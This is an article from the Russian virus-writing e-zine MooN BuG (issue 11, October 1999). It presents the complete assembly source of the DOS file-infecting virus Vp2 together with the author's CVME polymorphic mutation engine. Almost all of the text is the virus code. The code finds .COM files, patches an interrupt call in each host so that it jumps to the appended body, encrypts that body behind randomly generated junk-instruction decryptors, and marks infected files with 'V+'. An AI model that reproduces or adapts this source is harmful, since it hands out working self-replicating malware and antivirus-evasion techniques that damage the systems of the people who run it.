╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│   CrkV   │012║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║                               Вирус Vp&CVME                                ║
╚════════════════════════════════════════════════════════════════════════════╝

     В  качестве  еще одного вируса, использующего CVME, представляю вирус Vp.
Семейство  Vp было написано, на основе вирусов Vpp, представленных RedArc'ом в
качестве  жертв на конкурс любительских антивирусов. (Более подробно о вирусах
Vp и Vpp можно почитать в журналах DVL N8-9).

=== Cut ===                                                        Vp&CVME.ASM
;Вирус Vp2 with [CVME 1.0] 11.07.1999 (c) CrkV
.386

DOSInt  EQU     21h

Int21h  EQU     Int     DOSInt

;===================================================================
;       0123456789 123456789 123456789 123456789 123456789 123456789
;===================================================================

CSeg    Segment Para USE16 'code'
        Assume  Cs:CSeg,Ds:CSeg,Ss:CSeg,Es:CSeg
        Org     100h
CVME:
        Call    $ + 3
        PushF                           ;флаги тоже cохраним
        PushA                           ;сохраним все регистры
        Push    Ds
Entry_Point:

        Call    $+3
My_Point:
        Mov     Bp,Sp
        Sub     Word Ptr [Bp+22],03h
        Mov     Di,[Bp+22]              ;получить адрес возврата
        Pop     Bp                      ;Bp:=Offset My_Point

        Push    Es

        Mov     Cs:[Bp+Save_Sp],Sp
        Mov     Cs:[Bp+Save_Ss],Ss

        Push    Cs
        Push    Cs
        Pop     Es
        Pop     Ss                      ;Cli не нужен
        Lea     Sp,[Bp+Vir_Stack]

        Lea     Si,[Bp+Save_Byte]
        Cld
        MovSW
        MovSB
        Call    Set_Int21h
        Mov     Ah,2Fh                  ;Get DTA
        Int21h

;       Add     Si,Save_DTA
        LodSW

        Mov     [Si],Bx                 ;Сохраняем DTA
        Mov     [Si+02h],Es

        Push    Cs
        Pop     Es

        Mov     Ah,1Ah                  ;Set DTA
        Lea     Dx,[Bp+New_DTA]
        Int21h                          ;устанавливаем свою DTA

        Mov     Ah,4Eh                  ;Find_First
        Mov     Cx,0FEh
        Lea     Dx,[Bp+Mask_Com]

@Find_File:
        Int21h
        Jnc     @Check_File
        LDs     Dx,[Bp+Save_DTA2]
        Mov     Ah,1Ah                  ;Set DTA
        Int21h                          ;Восстанавливаем программную DTA
        Call    Set_Int21h
        Cli
        Mov     Sp,[Bp+Save_Sp]
        Mov     Ss,[Bp+Save_Ss]
        Pop     Es
        Pop     Ds
        PopA                            ;Восстанавливаем регистры
        PopF
        Ret                             ;Выходим из вируса

;---------------------------------------
@Check_File:
        Mov     Ax,4301h                ;Set Atr
        Lea     Dx,[Bp+New_DTA+1Eh]     ;найденное имя в DTA
        Sub     Cx,Cx
        Int21h
        Jc      @Not_Infected
        Mov     Ax,3D02h                ;Open File
        Int21h
        Jc      @Exit_Check
        Xchg    Bx,Ax                   ;Bx:=Ax (File Handle)
        Call    Set_FP                  ;на выходе Dx:Ax - размер файла

        Or      Dx,Dx
        Jnz     @Not_Infected
        Cmp     Ax,0100h
        Jbe     @Not_Infected           ;файл маловат
        Cmp     Ax,0F000h
        Jnb     @Not_Infected           ;а вот этот велик ;-))

        Mov     Di,Ax
        Dec     Ax
        Dec     Ax
        Xchg    Dx,Ax
        Mov     Al,00h
        Call    Set_FP2                 ;устанавливаем ук. на конец файла - 2
        Mov     Ah,3Fh                  ;Read File
        Lea     Si,[Bp+Buffer]
        Mov     Dx,Si
        Mov     Cl,02h
        Int21h                          ;Считаем 2 байта
        Cmp     Word Ptr [Si],'+V'      ;V+ - метка вируса
        Je      @Not_Infected           ;возможно заражен
        Mov     Al,00h
        Call    Set_FP1
        Call    Infect
@Not_Infected:
        Mov     Ah,3Eh                  ;Close File
        Int21h
        Mov     Ax,4301h                ;Set Atr
        Lea     Dx,[Bp+New_DTA+1Eh]     ;найденное имя в DTA
        Sub     Cx,Cx
        Mov     Cl,[Bp+New_DTA+15h]     ;атрибуты из DTA
        Int21h
@Exit_Check:
        Mov     Ah,4Fh                  ;Find Next
        Jmp     @Find_File
;---------------------------------------
Set_FP: Mov     Al,02h
Set_FP1:Sub     Dx,Dx
Set_FP2:Sub     Cx,Cx
        Mov     Ah,42h
        Int21h
        Ret
;---------------------------------------
Infect  Proc
        Push    Di
        Mov     Ah,3Fh                  ;Read File
        Mov     Ch,01h                  ;Cl=0
        Mov     Dx,Si
        Int21h                          ;Считываем 256 байт
        LodSW

        Cmp     Ax,'ZM'
        Je      @Exit_Infect2
        Cmp     Ax,'MZ'
        Je      @Exit_Infect2

        Cmp     Al,0EBh                 ;Jmp short ?
        Je      @Jmp_Short

        Dec     Si
        Cmp     Al,0E9h                 ;Jmp ?
        Je      @Ok_Jmp

        Push    0
        Dec     Si
        Jmp     @Not_Jmp

@Jmp_Short:
        LodSB
        Cbw
        Jmp     @Jmps


@Ok_Jmp:
        LodSW
        Dec     Si

@Jmps:
        Push    Ax
        Xchg    Dx,Ax
        Dec     Si
        Dec     Si
        Mov     Al,00h
        Call    Set_FP2
        Mov     Ah,3Fh                  ;Read File
        Mov     Ch,01h
        Mov     Dx,Si
        Int21h                          ;Считаем 256 байт от перехода
@Not_Jmp:

        Mov     Di,Si

@Next_Scan:
        Mov     Al,0CDh
        Repne   ScasB
        Jz      @Ok_Scan

@Exit_Infect:
        Pop     Di
@Exit_Infect2:
        Pop     Di
        Ret

@Ok_Scan:
        Mov     Ax,[Di]
        Cmp     Al,10h
        Je      @Now_Infected
        Cmp     Al,20h
        Je      @Now_Infected
        Cmp     Al,21h
        Je      @Now_Infected
        Cmp     Al,27h
        Jnz     @Next_Scan

@Now_Infected:

        Mov     [Bp+Save_Byte+1],Ax
        Lea     Dx,[Di-Buffer-1]
        Sub     Dx,Bp
        Pop     Ax
        Add     Dx,Ax
        Push    Dx
        Mov     Al,00h
        Call    Set_FP2                 ;тут будет переход на тело вируса
        Pop     Dx
        Pop     Ax                      ;Размер
        Push    Bx
        Push    Ax
        Sub     Ax,Dx
        Sub     Ax,03h                  ;вычисляем смещение для Call вирус
        Mov     Byte Ptr [Di-1],0E8h    ;Call My_Point
        Mov     Dx,Di
        Dec     Dx
        StoSW
        Mov     Ah,40h                  ;Write File
        Mov     Cx,03h
        Int21h                          ;Записали команду перехода
        Call    Set_FP

        Mov     Di,Si                   ;Буфер
        Mov     Ax,609Ch
        StoSW
        Mov     Dx,1111111100110000b
        Call    Reg_Musor
        Mov     Al,1Eh                  ;Push Ds
        Call    Com_Musor
        Mov     Al,0Eh                  ;Push Cs
        Call    Com_Musor
        Mov     Al,1Fh                  ;Pop Ds
        Call    Com_Musor

        In      Ax,40h
        Xchg    Ah,Al
        Shr     Ax,1
        Xchg    Cx,Ax
        Mov     Dx,1111111100110111b    ;Bx,Si,Di
        Call    GetFrRS                 ;регистр базы
        And     Dl,11111000b            ;Sp - не используем
        Push    Cx
        Push    Ax
        Push    Ax
        Call    LoadReg
        Call    Reg_Musor
        Call    @LeaTabBI

TabBI   db      0,0,0,9Fh,0,0,0B4h,0BDh

@LeaTabBI:
        Pop     Bx
        Pop     Cx
        Mov     Ax,Cx
        Xlat
        Xchg    Cx,Ax
        Call    Rand04
        Mov     Ah,Cl
        Cmp     Al,01h
        Jb      @R_Xor
        Je      @R_Add
        Mov     Al,29h
        Mov     Cl,01h
        Jmp     @R_Sub
@R_Add: Mov     Al,01h
        Mov     Cl,29h
        Jmp     @R_Sub
@R_Xor: Mov     Al,31h
        Mov     Cl,31h
@R_Sub: Mov     [Bp+Rnd_Com],Cl
        Mov     Cx,Di
        StoSW
        Pop     Ax                      ;регистр
        Push    Di
        StoSW
        Call    Reg_Musor
        Or      Al,01000000b            ;Inc
        StoSB
        Call    Reg_Musor
        Mov     Ah,81h                  ;Cmp
        StoSW
        Or      Al,11111000b
        StoSB
        Push    Di                      ;значение
        Mov     Al,75h                  ;Jne
        StoSW
        StoSW
        Sub     Cx,Di
        Mov     [Di-1],Cl
        Sub     Di,Si                   ;размер 1 части
        Mov     Cx,Di
        Push    Bp
        Mov     Bp,Sp
        Add     Di,[Bp+8]               ;размер проги
        Sub     Di,[Bp+6]               ;рандомное значение
        Add     Di,100h
        Mov     Bx,[Bp+4]
        Mov     [Bx],Di
        Mov     Di,[Bp+6]
        Mov     Bx,[Bp+2]
        Add     Di,Shifr_Lenght
        Mov     [Bx],Di
        Mov     Di,[Bp+6]
        Pop     Bp
        Add     Sp,8
        Pop     Bx
        Mov     Ah,40h
        Mov     Dx,Si
        Int21h

        Push    Bx
        Push    Di
        Mov     Cx,Vir_Lenght
        Mov     Di,Dx
        Lea     Si,[Bp-3]
        Repe    MovSB
        Pop     Bx
        Mov     Si,Dx
        Mov     Di,Dx
        Mov     Cx,(Shifr_Lenght) Shr 1

@LoopSh:LodSW
Rnd_Com EQU     $ - Offset My_Point
        Xor     Bx,Ax
        Inc     Bx
        Inc     Bx
        StoSW
        Loop    @LoopSh

        Pop     Bx
        Mov     Cx,Vir_Lenght
        Mov     Ah,40h                  ;Write_File
        Int21h                          ;Дописали вирус
        Ret
Infect  EndP
;---------------------------------------
Set_Int21h      Proc
        Push    Ds
        Push    0
        Pop     Ds
        Cli
        Mov     Ax,Ds:[DOSInt*4]        ;Int 03h
        Xchg    Ax,Ds:[21h*4]
        Mov     Ds:[DOSInt*4],Ax
        Mov     Ax,Ds:[DOSInt*4][2]     ;Int 03h
        Xchg    Ax,Ds:[21h*4][2]
        Mov     Ds:[DOSInt*4][2],Ax
        Sti
        Pop     Ds
        Ret
Set_Int21h      EndP
;-------------------------------------------------------
LoadR2  Proc
        Push    Ax
        In      Ax,40h
        Test    Al,10b
        Pop     Ax
        Jz      LoadReg

;команды Mov Rg16,Im16 (Random1)
;        несколько мусора
;        Add (Sub, Xor)

        Push    Bx Ax Cx
        Xchg    Ax,Cx
        In      Ax,40h
        Push    Ax
        Xchg    Cx,Ax
        Call    LoadReg
        Mov     Al,81h
        Stosb
        Pop     Cx Bx                   ;Cx:=Rand1
        Call    Rand08
        Cmp     Al,01h
        Pop     Ax
        Jg      @Xor
        Je      @Sub
        Or      Al,11000000b            ;11000xxxb (Add R16,Im16)
@CM00:  Sub     Bx,Cx
        Jmp     @CR2
@Sub:   Or      Al,11101000b            ;11101xxxb (Sub R16,Im16)
        Xchg    Bx,Cx
        Jmp     @CM00
@Xor:   Or      Al,11110000b            ;11110xxxb (Xor R16,Im16)
        Xor     Bx,Cx
@CR2:   StoSB
        Xchg    Ax,Bx
        StoSW
        Pop     Bx
        Ret
LoadR2  Endp
;-------------------------------------------------------
LoadReg Proc
;генерирует команду(ы) загрузки регистра
;Ax - используемый регистр
;Cx - значение
;Es:Di - буфер

;на выходе: Es:Di - буфер для новой команды

        Push    Ax
        In      Ax,40h
        Test    Al,100b
        Pop     Ax
        Je      LM1

;---------------------------
LM0     Proc

;команда Mov Rg16,Im

        Push    Ax
        Or      Al,10111000b            ;Mov Rg16,Im
        StoSB
        XChg    Cx,Ax
        StoSW
        Pop     Ax
        Ret
LM0     Endp
;---------------------------
LM1     Proc

;команды Push Im16
;        несколько мусора
;        Pop R16

        Or      Al,01011000b            ;Pop R16
        Push    Ax
        Mov     Al,68h                  ;Push Im16
        StoSB
        XChg    Cx,Ax
        StoSW
        Test    Dh,00000100b            ;мусор нужен ???
        Jz      @NoRbL1
        Call    GetMDx
@NoRbL1:Pop     Ax
        StoSB
        Ret
LM1     Endp
;---------------------------

LoadReg Endp
;-------------------------------------------------------
GetFrR  Proc

;(Вых) Al - свободный регистр

@NextR: Call    Rand08
        Bt      Dx,Ax
        Jc      @NextR                  ;Регистр уже используется
        Ret
GetFrR  Endp
;-------------------------------------------------------
GetFrRS Proc

;(Вых) Al - свободный регистр (объявляется занятым)

@NextRS:Call    Rand08
        Bts     Dx,Ax
        Jc      @NextRS                 ;Регистр уже используется
        Ret
GetFrRS Endp
;-------------------------------------------------------
GetMus  Proc

;генерирует мусор

        Push    Ax Bx Cx
        Sub     Cx,Cx
        Call    Rand16
        Test    Al,1100b                ;Без команды (00xxb)
        Jz      @G00
        Call    RndSt2
        Cmp     Al,0110b
        Jg      @M01
        Call    RndID
@M01:   Call    RndCom
@M02:   Call    RndStDx
        Call    ClrStack

@G00:   Pop     Cx Bx Ax
        Ret
GetMus  Endp
;-------------------------------------------------------
Com_Musor:
        StoSB
Reg_Musor:
GetMDx  Proc
        Test    Dh,00000001b            ;мусор нужен ???
        Jz      @NoM01
        Call    GetMus
@NoM01: Ret
GetMDx  Endp
;-------------------------------------------------------
MyRand  Proc
; Cx-нижняя граница,Bx-верхняя граница
; Ax-случайное число
        Push    Bx Cx Dx Si
        Call    @LeaRandPar
RandPar dw      1234h
@LeaRandPar:
        Pop     Si
        Mov     Ax,Cs:[Si]              ;Mov    Ax,RandPar
        Add     Ax,9248h
        Ror     Ax,3
        Xor     Ax,9248h
        Add     Ax,11h
        Mov     Cs:[Si],Ax
        And     Ax,7FFFh
        Sub     Bx,Cx
        Inc     Bx
        Sub     Dx,Dx
        IDiv    Bx
        Add     Cx,Dx
        Pop     Si Dx Ax Bx
        Xchg    Cx,Ax
        Ret
MyRand  EndP
;-------------------------------------------------------
Random  Proc
        Push    Bx Cx
        Mov     Bx,7FFFh
@GetRnd:Sub     Cx,Cx
        Call    MyRand
        Pop     Cx Bx
        Ret
Random  EndP
;-------------------------------------------------------
Rand04  Proc
        In      Ax,40h
        And     Ax,11b
        Ret
Rand04  EndP
;-------------------------------------------------------
Rand08  Proc
        In      Ax,40h
        And     Ax,111b
        Ret
Rand08  EndP
;-------------------------------------------------------
Rand16  Proc
        In      Ax,40h
        And     Ax,1111b
        Ret
Rand16  EndP
;-------------------------------------------------------
Push16  Proc
;генерирует команду помещения в стек
        Push    Ax
        Call    Random
        And     Ax,111b
        Cmp     Al,01h
        Jge     @P_00
        Mov     Al,68h                  ;Push Im16 (00h)
        StoSB
        In      Ax,40h
        StoSW
        Pop     Ax
        Ret

@P_00:  Jne     @P_01
        Mov     Al,6Ah                  ;Push Im8 (01h)
        StoSB
        In      Ax,40h

@P_ExB: StoSB
        Pop     Ax
        Ret

@P_01:  Cmp     Al,05h
        Jne     @P_05
        Mov     Al,9Ch                  ;PushF (05h)
        Jmp     @P_ExB

@P_05:  Jg      @P_08
        Call    Rand04
        Shl     Al,3
        Or      Al,00000110b            ;000xx110 Push SR (03h,04h)
        Jmp     @P_ExB

@P_08:  Call    Rand08
        Or      Al,01010000b            ;01010xxx Push R16 (06h-08h)
        Jmp     @P_ExB

Push16  EndP
;-------------------------------------------------------
RndStack        Proc
;генерирует случайные команды работы со стеком
        Push    Ax
        In      Ax,40h
        Test    Al,11b
        Jnz     @ExP00
        Call    Push16
        Inc     Cx
@ExP00: In      Ax,40h
        Test    Al,11100b
        Jnz     @ExP01
        JCxZ    @ExP01                  ;В стеке ничего нет
        Call    GetFrR
        Or      Al,01011000b            ;01011xxx Pop R16
        StoSB
        Dec     Cx
@ExP01: Pop     Ax
        Ret
RndStack        EndP
;-------------------------------------------------------
RndStDx Proc
        Test    Dh,00000010b            ;мусор нужен ???
        Jz      @NoMSt
        Call    RndStack
@NoMSt: Ret
RndStDx EndP
;-------------------------------------------------------
RndSt2  Proc
        Call    RndStDx
        Jmp     RndStDx
RndSt2  EndP
;-------------------------------------------------------
ClrStack        Proc
        JCxZ    @ExCS                   ;В стеке ничего нет
        Push    Ax
@LpCS:  Call    GetFrR
        Or      Al,01011000b            ;01011xxx Pop R16
        StoSB
        Loop    @LpCS
        Pop     Ax
@ExCs:  Ret
ClrStack        EndP
;-------------------------------------------------------
RndID   Proc
        Push    Ax

        In      Ax,40h

        Mov     Bl,01000000b            ;Inc (00h)
        Test    Al,001b
        Jne     @MID00
        Mov     Bl,01001000b            ;Dec (01h)
@MID00: Call    GetFrR
        Or      Al,Bl

        StoSB
        Pop     Ax
        Ret
RndID   EndP
;-------------------------------------------------------
RndCom  Proc
        Push    Ax Bx

        Call    Random
        Test    Al,111b
        Jnz     @NMov
        Call    GetFrR
        Or      Al,0B8h                 ;10111xxx - Mov R16,Im
        StoSB
        Jmp     @ExRC16

@NMov:  Call    Rand08
        Shl     Al,3                    ;00xxx011b - команда
        Or      Ax,00000011b            ;Устанавливаем биты направления и разр.
        StoSB
        In      Ax,40h
        And     Al,11000111b            ;Reg1
        Xchg    Ax,Bx
        Call    GetFrR
        Shl     Al,3
        Or      Al,Bl
        StoSB                           ;Byte R/M
        Shr     Al,6
        Cmp     Al,10b
        Jg      @ExRC                   ;Com R16,R16
        Je      @ExRC16                 ;Com R16,[RBI+Ofs16]

        Cmp     Bl,00000110b            ;Com R16,[Mem]
        Je      @ExRC16
        Cmp     Al,00h                  ;Com R16,[RBI]
        Je      @ExRC
        In      Ax,40h
        StoSB
        Jmp     @ExRC

@ExRC16:In      Ax,40h
        StoSW
@ExRC:  Pop     Bx Ax
        Ret
RndCom  EndP
;-------------------------------------------------------
ParCVME db      00000000b

;0 - генерировать мусор (общий)
;1 - генерировать мусор (стек)

CRight  db      'CrkV Mutation Engine [CVME] 1.00'
;-------------------------------------------------------
Mask_Com        EQU     $ - Offset My_Point

        db      '*.com',00h

Save_Byte       EQU     $ - Offset My_Point
        db      0CDh
        db      20h

Shifr_Lenght    EQU     (($ - Entry_Point) Shr 1) Shl 1

        db      ?
StrVp   db      'V+'

Vir_Lenght      EQU     $ - Offset Entry_Point
;---------------------------------------
Vir_Stack       EQU     $ - Offset Entry_Point + 1000h
;---------------------------------------
Save_Dta2       EQU     $ - Offset My_Point
        dd      ?
Save_Sp         EQU     $ - Offset My_Point
        dw      ?
Save_Ss         Equ     $ - Offset My_Point
        dw      ?
RndZn   dw      ?
New_DTA         EQU     $ - Offset My_Point

Buffer          EQU     Vir_Lenght + 100h
;---------------------------------------
CSeg    EndS
        End     CVME
=== Cut ===